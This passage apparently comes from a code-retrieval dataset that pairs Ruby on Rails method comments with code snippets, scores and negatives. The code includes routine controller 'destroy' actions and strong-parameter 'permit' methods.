"def destroy\n @habitant.destroy\n respond_to do |format|\n format.html { redirect_to habitants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n\n respond_to do |format|\n format.html { redirect_to goals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n\n respond_to do |format|\n format.html { redirect_to goals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pharmacy.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @immigrant = Immigrant.find(params[:id])\n @immigrant.destroy\n\n respond_to do |format|\n format.html { redirect_to immigrants_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @base_objective.destroy\n respond_to do |format|\n format.html { redirect_to base_objectives_url, notice: 'Base objective was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipy = Recipy.find(params[:id])\n @recipy.destroy\n\n respond_to do |format|\n format.html { redirect_to recipies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @noun.destroy\n\n respond_to do |format|\n format.html { redirect_to nouns_url }\n # format.json { head :no_content }\n end\n end",
"def destroy\n @congressional_district = CongressionalDistrict.find(params[:id])\n @congressional_district.destroy\n\n respond_to do |format|\n format.html { redirect_to congressional_districts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mostsmallmission = Mostsmallmission.find(params[:id])\n @mostsmallmission.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallmissions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @opinion = Opinion.find(params[:id])\n @opinion.destroy\n\n respond_to do |format|\n format.html { redirect_to opinions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @opinion = Opinion.find(params[:id])\n @opinion.destroy\n\n respond_to do |format|\n format.html { redirect_to opinions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scenario = Scenario.find(params[:id])\n @scenario.destroy\n\n respond_to do |format|\n format.html { redirect_to scenarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scenario = Scenario.find(params[:id])\n @scenario.destroy\n\n respond_to do |format|\n format.html { redirect_to scenarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @troop = Troop.find(params[:id])\n @troop.destroy\n\n respond_to do |format|\n format.html { redirect_to troops_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @constitution = Constitution.find(params[:id])\n @constitution.destroy\n\n respond_to do |format|\n format.html { redirect_to constitutions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n contest = @editorial.contest\n @editorial.destroy\n respond_to do |format|\n format.html { redirect_to admin_contest_url(contest), notice: 'Editorial was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shorty = Shorty.find(params[:id])\n @shorty.destroy\n\n respond_to do |format|\n format.html { redirect_to shorties_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @situation = Situation.find(params[:id])\n @situation.destroy\n\n respond_to do |format|\n format.html { redirect_to situations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @situation = Situation.find(params[:id])\n @situation.destroy\n\n respond_to do |format|\n format.html { redirect_to situations_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def destroy\n @occasion = Occasion.find(params[:id])\n @occasion.destroy\n\n respond_to do |format|\n format.html { redirect_to occasions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ocat = Ocat.find(params[:id])\n @ocat.destroy\n\n respond_to do |format|\n format.html { redirect_to ocats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @opttruck.destroy\n respond_to do |format|\n format.html { redirect_to opttrucks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sivic_discipulo.destroy\n respond_to do |format|\n format.html { redirect_to sivic_discipulos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @competency = Competency.find(params[:id])\n @competency.destroy\n\n respond_to do |format|\n format.html { redirect_to competencies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contest = Contest.find(params[:id])\n @contest.destroy\n\n respond_to do |format|\n format.html { redirect_to contests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @kolegij = Kolegij.find(params[:id])\n @kolegij.destroy\n\n respond_to do |format|\n format.html { redirect_to kolegijs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @distraction = Distraction.find(params[:id])\n @distraction.destroy\n\n respond_to do |format|\n format.html { redirect_to distractions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v_goal = VGoal.find(params[:id])\n @v_goal.destroy\n\n respond_to do |format|\n format.html { redirect_to v_goals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n contest = @data_set.contest\n @data_set.destroy\n respond_to do |format|\n format.html { redirect_to admin_contest_url(contest), notice: 'Data set was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @decision.destroy\n respond_to do |format|\n format.html { redirect_to decisions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n\n respond_to do |format|\n format.html { redirect_to goals_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @goat = Goat.find(params[:id])\n @goat.destroy\n\n respond_to do |format|\n format.html { redirect_to goats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alumno.destroy\n respond_to do |format|\n format.html { redirect_to grupos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @improvement.destroy\n respond_to do |format|\n format.html { redirect_to improvements_path, notice: 'Tarefa foi apagada com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @yourstory = Yourstory.find(params[:id])\n @yourstory.destroy\n\n respond_to do |format|\n format.html { redirect_to yourstories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mission = Mission.find(params[:id])\n @mission.destroy\n\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @critic = Critic.find(params[:id])\n @critic.destroy\n\n respond_to do |format|\n format.html { redirect_to critics_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subcriterion = Subcriterion.find(params[:id])\n @subcriterion.destroy\n\n respond_to do |format|\n format.html { redirect_to subcriteria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agronomiaquimica = Agronomiaquimica.find(params[:id])\n @agronomiaquimica.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiaquimicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kata.destroy\n respond_to do |format|\n format.html { redirect_to katas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @observation = Observation.find(params[:id])\n @observation.destroy\n\n respond_to do |format|\n format.html { redirect_to observations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @drone_attack = DroneAttack.find(params[:id])\n @drone_attack.destroy\n\n respond_to do |format|\n format.html { redirect_to drone_attacks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n game = @goal.game\n @goal.destroy\n respond_to do |format|\n format.html { redirect_to game_path(game) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hood.destroy\n respond_to do |format|\n format.html { redirect_to hoods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @financial_objects_goal.destroy\n respond_to do |format|\n format.html { redirect_to financial_objects_goals_url, notice: \"Goal was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @ontology = SYMPH::Ontology.find(params[:id])\n @ontology.disable\n @ontology.destroy\n \n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.xml { head :ok }\n end\n end",
"def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @train_locomotive.destroy\n respond_to do |format|\n format.html { redirect_to train_locomotives_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7198861",
"0.7198592",
"0.69428796",
"0.69098127",
"0.6864549",
"0.68522847",
"0.68334633",
"0.6799203",
"0.67848265",
"0.6754126",
"0.6736076",
"0.6712296",
"0.6710611",
"0.6693738",
"0.66901267",
"0.668558",
"0.66778946",
"0.6666995",
"0.66661686",
"0.6654566",
"0.66486293",
"0.6644264",
"0.66355455",
"0.66351247",
"0.6630004",
"0.6627346",
"0.6624816",
"0.66196954",
"0.66157675",
"0.6612967",
"0.6610727",
"0.66079545",
"0.660675",
"0.66066206",
"0.66007864",
"0.6595965",
"0.6595909",
"0.6594535",
"0.6586969",
"0.6583044",
"0.6575797",
"0.6575797",
"0.6575797",
"0.6575797",
"0.6573318",
"0.6572423",
"0.6571888",
"0.65706205",
"0.6570545",
"0.6570545",
"0.6569471",
"0.65650517",
"0.6564119",
"0.65618896",
"0.6559696",
"0.6558784",
"0.655842",
"0.6556732",
"0.65468884",
"0.65468884",
"0.6545977",
"0.6545977",
"0.65456074",
"0.6535905",
"0.6534614",
"0.65297335",
"0.65276355",
"0.65276355",
"0.65262324",
"0.65252167",
"0.65170604",
"0.6514465",
"0.65124863",
"0.65118116",
"0.6511675",
"0.65082324",
"0.65075016",
"0.65035504",
"0.6502867",
"0.64978474",
"0.6497814",
"0.64939076",
"0.64924043",
"0.649228",
"0.64919287",
"0.64890474",
"0.6486191",
"0.64858943",
"0.6485029",
"0.64841014",
"0.6483167",
"0.6482445",
"0.6480411",
"0.6479795",
"0.64794123",
"0.64751244",
"0.64741534",
"0.64713275",
"0.6470763",
"0.6469123"
] | 0.7040203 | 2 |
Use callbacks to share common setup or constraints between actions. | def js_request?
request.format.js?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def strategic_objective_params
params.require(:strategic_objective).permit(:name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
